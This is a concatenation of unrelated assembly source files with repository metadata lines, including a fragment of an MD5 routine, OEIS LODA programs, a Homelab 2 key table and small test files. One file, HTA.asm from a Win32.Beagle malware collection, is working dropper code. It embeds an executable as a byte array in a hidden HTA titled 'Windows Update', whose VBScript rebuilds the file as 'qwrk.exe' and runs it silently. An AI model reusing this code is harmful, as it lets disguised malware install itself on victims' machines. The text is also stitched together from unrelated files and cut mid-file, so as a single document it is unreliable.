... */ mov r12d,ebx ;/* (NEXT STEP) z' = ebx */ rol edx , 9 ;/* dst <<< s */ add edx , eax ;/* dst += x */ not r11d lea ecx,DWORD PTR 0676f02d9h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,edx ;/* x & z */ and r11d,eax ;/* y & (not z) */ mov r10d , (12*4) [rsi] ;/* (NEXT STEP) X[12] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,eax ;/* (NEXT STEP) z' = eax */ add ecx, r12d ; /* dst += ... */ mov r12d,eax ;/* (NEXT STEP) z' = eax */ rol ecx , 14 ;/* dst <<< s */ add ecx , edx ;/* dst += x */ not r11d lea ebx,DWORD PTR 08d2a4c8ah [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ecx ;/* x & z */ and r11d,edx ;/* y & (not z) */ mov r10d , (0*4) [rsi] ;/* (NEXT STEP) X[0] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,edx ;/* (NEXT STEP) z' = edx */ add ebx, r12d ; /* dst += ... */ mov r12d,edx ;/* (NEXT STEP) z' = edx */ rol ebx , 20 ;/* dst <<< s */ add ebx , ecx ;/* dst += x */ mov r10d , (5*4)[rsi] ;/* (NEXT STEP) X[5] */ mov r11d , ecx ;/* (NEXT STEP) y' = %ecx */ lea eax,DWORD PTR 0fffa3942h [ eax * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (8*4)[rsi] ;/* (NEXT STEP) X[8] */ xor r11d,edx ;/* z ^ ... */ xor r11d,ebx ;/* x ^ ... */ add eax , r11d ;/* dst += ... */ rol eax , 4 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) y' = ebx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 08771f681h [ edx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (11*4)[rsi] ;/* (NEXT STEP) X[11] */ xor r11d,ecx ;/* z ^ ... */ xor r11d,eax ;/* x ^ ... */ add edx , r11d ;/* dst += ... */ rol edx , 11 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) y' = eax */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 06d9d6122h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (14*4)[rsi] ;/* (NEXT STEP) X[14] */ xor r11d,ebx ;/* z ^ ... */ xor r11d,edx ;/* x ^ ... */ add ecx , r11d ;/* dst += ... */ rol ecx , 16 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) y' = edx */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 0fde5380ch [ ebx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (1*4)[rsi] ;/* (NEXT STEP) X[1] */ xor r11d,eax ;/* z ^ ... */ xor r11d,ecx ;/* x ^ ... */ add ebx , r11d ;/* dst += ... */ rol ebx , 23 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) y' = ecx */ add ebx , ecx ;/* dst += x */ lea eax,DWORD PTR 0a4beea44h [ eax * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (4*4)[rsi] ;/* (NEXT STEP) X[4] */ xor r11d,edx ;/* z ^ ... */ xor r11d,ebx ;/* x ^ ... */ add eax , r11d ;/* dst += ... */ rol eax , 4 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) y' = ebx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 04bdecfa9h [ edx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (7*4)[rsi] ;/* (NEXT STEP) X[7] */ xor r11d,ecx ;/* z ^ ... */ xor r11d,eax ;/* x ^ ... */ add edx , r11d ;/* dst += ... */ rol edx , 11 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) y' = eax */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 0f6bb4b60h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (10*4)[rsi] ;/* (NEXT STEP) X[10] */ xor r11d,ebx ;/* z ^ ... */ xor r11d,edx ;/* x ^ ... */ add ecx , r11d ;/* dst += ... */ rol ecx , 16 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) y' = edx */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 0bebfbc70h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (13*4)[rsi] ;/* (NEXT STEP) X[13] */ xor r11d,eax ;/* z ^ ... */ xor r11d,ecx ;/* x ^ ... */ add ebx , r11d ;/* dst += ... */ rol ebx , 23 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) y' = ecx */ add ebx , ecx ;/* dst += x */ lea eax,DWORD PTR 0289b7ec6h [ eax * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (0*4)[rsi] ;/* (NEXT STEP) X[0] */ xor r11d,edx ;/* z ^ ... */ xor r11d,ebx ;/* x ^ ... */ add eax , r11d ;/* dst += ... */ rol eax , 4 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) y' = ebx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 0eaa127fah [ edx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (3*4)[rsi] ;/* (NEXT STEP) X[3] */ xor r11d,ecx ;/* z ^ ... */ xor r11d,eax ;/* x ^ ... */ add edx , r11d ;/* dst += ... */ rol edx , 11 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) y' = eax */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 0d4ef3085h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (6*4)[rsi] ;/* (NEXT STEP) X[6] */ xor r11d,ebx ;/* z ^ ... */ xor r11d,edx ;/* x ^ ... */ add ecx , r11d ;/* dst += ... */ rol ecx , 16 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) y' = edx */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 04881d05h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (9*4)[rsi] ;/* (NEXT STEP) X[9] */ xor r11d,eax ;/* z ^ ... */ xor r11d,ecx ;/* x ^ ... */ add ebx , r11d ;/* dst += ... */ rol ebx , 23 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) y' = ecx */ add ebx , ecx ;/* dst += x */ lea eax,DWORD PTR 0d9d4d039h [ eax * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (12*4)[rsi] ;/* (NEXT STEP) X[12] */ xor r11d,edx ;/* z ^ ... */ xor r11d,ebx ;/* x ^ ... */ add eax , r11d ;/* dst += ... */ rol eax , 4 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) y' = ebx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 0e6db99e5h [ edx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (15*4)[rsi] ;/* (NEXT STEP) X[15] */ xor r11d,ecx ;/* z ^ ... */ xor r11d,eax ;/* x ^ ... */ add edx , r11d ;/* dst += ... */ rol edx , 11 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) y' = eax */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 01fa27cf8h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (2*4)[rsi] ;/* (NEXT STEP) X[2] */ xor r11d,ebx ;/* z ^ ... */ xor r11d,edx ;/* x ^ ... */ add ecx , r11d ;/* dst += ... */ rol ecx , 16 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) y' = edx */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 0c4ac5665h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ mov r10d,DWORD PTR (0*4)[rsi] ;/* (NEXT STEP) X[0] */ xor r11d,eax ;/* z ^ ... */ xor r11d,ecx ;/* x ^ ... */ add ebx , r11d ;/* dst += ... */ rol ebx , 23 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) y' = ecx */ add ebx , ecx ;/* dst += x */ mov r10d , (0*4)[rsi] ;/* (NEXT STEP) X[0] */ mov r11d , r13d ;0ffffffffh ;%r11d xor r11d , edx ;/* (NEXT STEP) not z' = not %edx*/ lea eax,DWORD PTR 0f4292244h [ eax * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ebx ;/* x | ... */ xor r11d , ecx ;/* y ^ ... */ add eax , r11d ;/* dst += ... */ mov r10d , DWORD PTR (7*4)[rsi] ;/* (NEXT STEP) X[7] */ mov r11d , r13d ; 0ffffffffh rol eax , 6 ;/* dst <<< s */ xor r11d , ecx ;/* (NEXT STEP) not z' = not ecx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 0432aff97h [ edx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , eax ;/* x | ... */ xor r11d , ebx ;/* y ^ ... */ add edx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (14*4)[rsi] ;/* (NEXT STEP) X[14] */ mov r11d , r13d ; 0ffffffffh rol edx , 10 ;/* dst <<< s */ xor r11d , ebx ;/* (NEXT STEP) not z' = not ebx */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 0ab9423a7h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , edx ;/* x | ... */ xor r11d , eax ;/* y ^ ... */ add ecx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (5*4)[rsi] ;/* (NEXT STEP) X[5] */ mov r11d , r13d ; 0ffffffffh rol ecx , 15 ;/* dst <<< s */ xor r11d , eax ;/* (NEXT STEP) not z' = not eax */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 0fc93a039h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ecx ;/* x | ... */ xor r11d , edx ;/* y ^ ... */ add ebx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (12*4)[rsi] ;/* (NEXT STEP) X[12] */ mov r11d , r13d ; 0ffffffffh rol ebx , 21 ;/* dst <<< s */ xor r11d , edx ;/* (NEXT STEP) not z' = not edx */ add ebx , ecx ;/* dst += x */ lea eax,DWORD PTR 0655b59c3h [ eax * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ebx ;/* x | ... */ xor r11d , ecx ;/* y ^ ... */ add eax , r11d ;/* dst += ... */ mov r10d , DWORD PTR (3*4)[rsi] ;/* (NEXT STEP) X[3] */ mov r11d , r13d ; 0ffffffffh rol eax , 6 ;/* dst <<< s */ xor r11d , ecx ;/* (NEXT STEP) not z' = not ecx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 08f0ccc92h [ edx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , eax ;/* x | ... */ xor r11d , ebx ;/* y ^ ... */ add edx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (10*4)[rsi] ;/* (NEXT STEP) X[10] */ mov r11d , r13d ; 0ffffffffh rol edx , 10 ;/* dst <<< s */ xor r11d , ebx ;/* (NEXT STEP) not z' = not ebx */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 0ffeff47dh [ ecx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , edx ;/* x | ... */ xor r11d , eax ;/* y ^ ... */ add ecx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (1*4)[rsi] ;/* (NEXT STEP) X[1] */ mov r11d , r13d ; 0ffffffffh rol ecx , 15 ;/* dst <<< s */ xor r11d , eax ;/* (NEXT STEP) not z' = not eax */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 085845dd1h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ecx ;/* x | ... */ xor r11d , edx ;/* y ^ ... */ add ebx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (8*4)[rsi] ;/* (NEXT STEP) X[8] */ mov r11d , r13d ; 0ffffffffh rol ebx , 21 ;/* dst <<< s */ xor r11d , edx ;/* (NEXT STEP) not z' = not edx */ add ebx , ecx ;/* dst += x */ lea eax,DWORD PTR 06fa87e4fh [ eax * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ebx ;/* x | ... */ xor r11d , ecx ;/* y ^ ... */ add eax , r11d ;/* dst += ... */ mov r10d , DWORD PTR (15*4)[rsi] ;/* (NEXT STEP) X[15] */ mov r11d , r13d ; 0ffffffffh rol eax , 6 ;/* dst <<< s */ xor r11d , ecx ;/* (NEXT STEP) not z' = not ecx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 0fe2ce6e0h [ edx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , eax ;/* x | ... */ xor r11d , ebx ;/* y ^ ... */ add edx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (6*4)[rsi] ;/* (NEXT STEP) X[6] */ mov r11d , r13d ; 0ffffffffh rol edx , 10 ;/* dst <<< s */ xor r11d , ebx ;/* (NEXT STEP) not z' = not ebx */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 0a3014314h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , edx ;/* x | ... */ xor r11d , eax ;/* y ^ ... */ add ecx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (13*4)[rsi] ;/* (NEXT STEP) X[13] */ mov r11d , r13d ; 0ffffffffh rol ecx , 15 ;/* dst <<< s */ xor r11d , eax ;/* (NEXT STEP) not z' = not eax */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 04e0811a1h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ecx ;/* x | ... */ xor r11d , edx ;/* y ^ ... */ add ebx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (4*4)[rsi] ;/* (NEXT STEP) X[4] */ mov r11d , r13d ; 0ffffffffh rol ebx , 21 ;/* dst <<< s */ xor r11d , edx ;/* (NEXT STEP) not z' = not edx */ add ebx , ecx ;/* dst += x */ lea eax,DWORD PTR 0f7537e82h [ eax * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ebx ;/* x | ... */ xor r11d , ecx ;/* y ^ ... */ add eax , r11d ;/* dst += ... */ mov r10d , DWORD PTR (11*4)[rsi] ;/* (NEXT STEP) X[11] */ mov r11d , r13d ; 0ffffffffh rol eax , 6 ;/* dst <<< s */ xor r11d , ecx ;/* (NEXT STEP) not z' = not ecx */ add eax , ebx ;/* dst += x */ lea edx,DWORD PTR 0bd3af235h [ edx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , eax ;/* x | ... */ xor r11d , ebx ;/* y ^ ... */ add edx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (2*4)[rsi] ;/* (NEXT STEP) X[2] */ mov r11d , r13d ; 0ffffffffh rol edx , 10 ;/* dst <<< s */ xor r11d , ebx ;/* (NEXT STEP) not z' = not ebx */ add edx , eax ;/* dst += x */ lea ecx,DWORD PTR 02ad7d2bbh [ ecx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , edx ;/* x | ... */ xor r11d , eax ;/* y ^ ... */ add ecx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (9*4)[rsi] ;/* (NEXT STEP) X[9] */ mov r11d , r13d ; 0ffffffffh rol ecx , 15 ;/* dst <<< s */ xor r11d , eax ;/* (NEXT STEP) not z' = not eax */ add ecx , edx ;/* dst += x */ lea ebx,DWORD PTR 0eb86d391h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ or r11d , ecx ;/* x | ... */ xor r11d , edx ;/* y ^ ... */ add ebx , r11d ;/* dst += ... */ mov r10d , DWORD PTR (0*4)[rsi] ;/* (NEXT STEP) X[0] */ mov r11d , r13d ; 0ffffffffh rol ebx , 21 ;/* dst <<< s */ xor r11d , edx ;/* (NEXT STEP) not z' = not edx */ add ebx , ecx ;/* dst += x */ ; # add old values of A, B, C, D add eax,r8d add ebx,r9d add ecx,r14d add edx,r15d ; # loop control add rsi,64 ;# ptr += 64 cmp rsi,rdi ;# cmp end with ptr jb lab2 ;# jmp if ptr < end ; # END of loop over 16-word blocks lab1: ;pop rbp ;# restore ctx pop r12 mov DWORD PTR 0[r12],eax ;# ctx->A = A mov DWORD PTR 4[r12],ebx ;# ctx->B = B mov DWORD PTR 8[r12],ecx ;# ctx->C = C mov DWORD PTR 12[r12],edx ;# ctx->D = D pop rdi pop rsi pop r15 pop r14 pop r13 pop r12 pop rbx pop rbp ret md5_block_asm_host_order ENDP END
41.062425
113
0.385587
2adb73659a28da819a75a0780d9b72ea2b72021d
382
asm
Assembly
programs/oeis/169/A169722.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/169/A169722.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/169/A169722.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A169722: a(n) = (3*2^(n-1)-1)*(18*2^(n-1)-7). ; 1,22,145,715,3151,13207,54055,218695,879751,3528967,14135815,56583175,226412551,905809927,3623559175,14494875655,57980780551,231925678087,927707824135,3710841520135,14843386527751,59373587005447,237494429810695,949977882820615,3799911858438151 mov $1,9 lpb $0 sub $0,1 mul $1,2 lpe sub $1,6 bin $1,2 div $1,9 mul $1,3 add $1,1
27.285714
245
0.748691
d4dfef33943e049c60c4efadd975f30f65f9ca47
5,668
asm
Assembly
Win32/Win32.Beagle/HTA.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
Win32/Win32.Beagle/HTA.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
Win32/Win32.Beagle/HTA.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; HTA file generator ; ######################################################################### .data szHTAFileName equ "qwrk.exe" szHTAVbsName equ "qfl.vbs" szHTACode1 db '<HTML>',13,10 db '<HEAD>',13,10 db '<TITLE>Windows Update</TITLE>',13,10 db '<HTA:APPLICATION ID="Q" APPLICATIONNAME="Q" BORDER="none" BORDERSTYLE="normal" CAPTION="no" ICON="" CONTEXTMENU="no" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="no" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize"/>',13,10 db '<SCRIPT LANGUAGE="VBScript">',13,10 db 'MyFile = "',szHTAVbsName,'"',13,10 db 'Set FSO = CreateObject("Scripting.FileSystemObject")',13,10 db 'Set TSO = FSO.CreateTextFile(MyFile, True)',13,10 db 'TSO.write "dim filesys, filetxt, getname, path, textfile, i" & vbcrlf',13,10 db 'TSO.write "textfile = ""',szHTAFileName,'""" & vbcrlf',13,10 db 'TSO.write "Set filesys = CreateObject(""Scripting.FileSystemObject"")" & vbcrlf',13,10 db 'TSO.write "Set filetxt = filesys.CreateTextFile(textfile, True)" & vbcrlf',13,10 db 'TSO.write "getname = filesys.GetFileName(path)" & vbcrlf',13,10 db 'TSO.write "dim a" & vbcrlf',13,10 db 'TSO.write "a=Array(',0 szHTACode2 db ')" & vbcrlf',13,10 db 'TSO.write "for i=0 to ',0 szHTACode3 db '" & vbcrlf',13,10 db 'TSO.write "filetxt.Write(chr(a(i)))" & vbcrlf',13,10 db 'TSO.write "next" & vbcrlf',13,10 db 'TSO.write "filetxt.Close" & vbcrlf',13,10 db 'TSO.write "dim z" & vbcrlf',13,10 db 'TSO.write "dim zz" & vbcrlf',13,10 db 'TSO.write "Const ForReading = 1, ForWriting = 2, ForAppending = 3" & vbcrlf',13,10 db 'TSO.write "const RemoteExe = ""',szHTAFileName,'""" & vbcrlf',13,10 db 'TSO.write "set zz = wscript.createobject(""wscript.shell"")" & vbcrlf',13,10 db 'TSO.write "z = zz.run (""',szHTAFileName,'"")" & vbcrlf',13,10 db 'TSO.write "wscript.quit" & vbcrlf',13,10 db 'Set TSO = Nothing',13,10 db 'Set FSO = Nothing',13,10 db 'Dim WshShell',13,10 db 'Set WshShell = CreateObject("WScript.Shell")',13,10 db 'WshShell.Run "',szHTAVbsName,'", 0, false',13,10 db '</SCRIPT>',13,10 db '<script>window.close()</script>',13,10 db '</HEAD>',13,10 db '</HTML>',0 szHTAShortFmt db "%hu,",0 szHTAShortFmt2 db "%hu",0 szHTAIntFmt db "%lu",0 .code GenHTACode proc hFileIn, hFileOut, dwInLen: DWORD LOCAL NumStr[20]: BYTE LOCAL Temp: BYTE LOCAL dwTemp, len: DWORD invoke lstrlen, offset szHTACode1 xchg eax, edx invoke WriteFile, hFileOut, offset szHTACode1, edx, addr dwTemp, NULL m2m len, dwInLen .WHILE len > 0 invoke ReadFile, hFileIn, addr Temp, 1, addr dwTemp, NULL .IF len == 1 mov edx, offset szHTAShortFmt2 .ELSE mov edx, offset szHTAShortFmt .ENDIF invoke wsprintf, addr NumStr, edx, Temp invoke lstrlen, addr NumStr xchg eax, edx invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL dec len .ENDW invoke lstrlen, offset szHTACode2 xchg eax, edx invoke WriteFile, hFileOut, offset szHTACode2, edx, addr dwTemp, NULL dec dwInLen invoke wsprintf, addr NumStr, offset szHTAIntFmt, dwInLen invoke lstrlen, addr NumStr xchg eax, edx invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL invoke lstrlen, offset szHTACode3 xchg eax, edx invoke WriteFile, hFileOut, offset szHTACode3, edx, addr dwTemp, NULL ret GenHTACode endp CreateHTAFile proc uses ebx InFile, OutFile: DWORD LOCAL hFileIn: DWORD LOCAL hFileOut: DWORD xor ebx, ebx invoke CreateFile, InFile, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL mov hFileIn, eax inc eax jz @chf_ret invoke CreateFile, OutFile, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL mov hFileOut, eax inc eax jz @chf_ret invoke GetFileSize, hFileIn, NULL invoke GenHTACode, hFileIn, hFileOut, eax invoke CloseHandle, hFileIn invoke CloseHandle, hFileOut inc ebx @chf_ret: mov eax, ebx ret CreateHTAFile endp
45.709677
288
0.482534
cd985f71cade174968509b52b63afdd36ba77862
1,722
asm
Assembly
libsrc/target/homelab2/input/in_keytranstbl.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/homelab2/input/in_keytranstbl.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/homelab2/input/in_keytranstbl.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; This table translates key presses into ascii codes. ; Also used by 'GetKey' and 'LookupKey'. An effort has been made for ; this key translation table to emulate a PC keyboard with the 'CTRL' key SECTION rodata_clib PUBLIC in_keytranstbl ; Homelab 2 table .in_keytranstbl ; Line 0 contains shift defb ' ', 11, 8, 9, 10, 13, 7, 27 ; SP UP LEFT RIGHT HOME ENTER TAB RUN/BRK defb '0', '1', '2', '3', '4', '5', '6', '7' ; 0 1 2 3 4 5 6 7 defb '8', '9', ':', ';', ',', '=', '.', '/' ; 8 9 : ; , = . / defb '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g' ; @ a b c d e f g defb 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o' ; h i j k l m n o defb 'p', 'q', 'r', 's', 't', 'u', 'v', 'w' ; p q r s t u v w defb 'x', 'y', 'z', '[','\\', ']','\"', 255 ; x y z [ \ ] " ALT ;Shifted defb ' ', 10, 9, 8, 11, 13, 7, 27 ; SP UP LEFT RIGHT HOME ENTER TAB RUN/BRK defb 12, '!', '2', '#', '$', '%', '&', '\'' ; 0 1 2 3 4 5 6 7 defb '(', ')', '*', '+', '<', '-', '>', '?' ; 8 9 : ; , = . / defb '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G' ; @ a b c d e f g defb 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O' ; h i j k l m n o defb 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W' ; p q r s t u v w defb 'X', 'Y', 'Z', '{', '|', '}','\'', 255 ; x y z [ \ ] " ALT ;Control defb ' ', 11, 8, 9, 10, 13, 7, 27 ; SP UP LEFT RIGHT HOME ENTER TAB RUN/BRK defb '0', '1', '2', '3', '4', '5', '6', '7' ; 0 1 2 3 4 5 6 7 defb '8', '9', ':', ';', ',', '=', '.', '/' ; 8 9 : ; , = . / defb '@', 1, 2, 3, 4, 5, 6, 7 ; @ a b c d e f g defb 8, 9, 10, 11, 12, 13, 14, 15 ; h i j k l m n o defb 16, 17, 18, 19, 20, 21, 22, 23 ; p q r s t u v w defb 24, 25, 26, '[','\\', ']','\"', 255 ; x y z [ \ ] " ALT
45.315789
85
0.407085
0674245428b0a065aed29a21cf65681f60ca3d1d
570
asm
Assembly
oeis/257/A257872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/257/A257872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/257/A257872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A257872: Decimal expansion of the Madelung type constant C(4|1) (negated). ; Submitted by Jon Maiga ; 5,5,4,5,1,7,7,4,4,4,4,7,9,5,6,2,4,7,5,3,3,7,8,5,6,9,7,1,6,6,5,4,1,2,5,4,4,6,0,4,0,0,1,0,7,4,8,8,2,0,4,2,0,3,2,9,6,5,4,4,0,0,7,5,9,4,7,1,4,8,9,7,5,7,5,7,5,5,7,7,2,4,8,4,6,9,0,6,6,1,5,9,7,1,3,4,9,5,0,0 mov $1,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$3 mov $5,$3 mul $5,2 add $5,2 mul $2,$5 add $1,$2 div $5,$2 add $5,$0 div $1,$5 div $2,$5 sub $3,1 lpe mul $1,8 mov $4,10 pow $4,$0 div $2,$4 mul $2,2 div $1,$2 add $1,$4 mov $0,$1 mod $0,10
18.387097
201
0.536842
816de187061697bbe0b769d53f5ed643a364eea5
436
asm
Assembly
test/asm/bank.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
522
2017-02-25T21:10:13.000Z
2020-09-13T14:26:18.000Z
test/asm/bank.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
405
2017-02-25T21:32:37.000Z
2020-09-13T16:43:29.000Z
test/asm/bank.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
84
2017-02-25T21:10:26.000Z
2020-09-13T14:28:25.000Z
def_sect: macro IF _NARG == 2 SECTION "\1", \2 ELSE SECTION "\1", \2, BANK[\3] ENDC PRINTLN BANK("\1") endm def_sect ROM0_ok, ROM0 def_sect ROMX_ok, ROMX, 42 def_sect ROMX_bad, ROMX def_sect VRAM_ok, VRAM, 1 def_sect VRAM_bad, VRAM def_sect SRAM_ok, SRAM, 4 def_sect SRAM_bad, SRAM def_sect WRAM0_ok, WRAM0 def_sect WRAMX_ok, WRAMX, 7 def_sect WRAMX_bad,WRAMX def_sect OAM_ok, OAM def_sect HRAM_ok, HRAM
18.956522
29
0.708716
9982e557e2feae5881e819a4bad28b62e624506d
368
asm
Assembly
contrib/funchook/test/libfunchook_test_x86_masm.asm
guijan/appscope
8b507606914f486b6858b5115c44faf7d342666a
[ "Apache-2.0" ]
118
2021-01-21T16:36:13.000Z
2022-03-18T09:05:18.000Z
contrib/funchook/test/libfunchook_test_x86_masm.asm
guijan/appscope
8b507606914f486b6858b5115c44faf7d342666a
[ "Apache-2.0" ]
684
2021-01-21T06:51:06.000Z
2022-03-31T14:34:42.000Z
contrib/funchook/test/libfunchook_test_x86_masm.asm
guijan/appscope
8b507606914f486b6858b5115c44faf7d342666a
[ "Apache-2.0" ]
26
2021-01-26T22:53:45.000Z
2022-02-11T09:19:31.000Z
.686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES PUBLIC _call_get_val_in_dll PUBLIC _jump_get_val_in_dll EXTRN _get_val_in_dll:PROC _TEXT SEGMENT _call_get_val_in_dll PROC EXPORT call _get_val_in_dll ret 0 _call_get_val_in_dll ENDP _jump_get_val_in_dll PROC EXPORT jmp _get_val_in_dll _jump_get_val_in_dll ENDP _TEXT ENDS END
13.62963
32
0.858696
0720e5ea6f9072a4d643553bf55f41ec5f34d190
1,440
asm
Assembly
programs/oeis/022/A022524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/022/A022524.asm
neoneye/loda
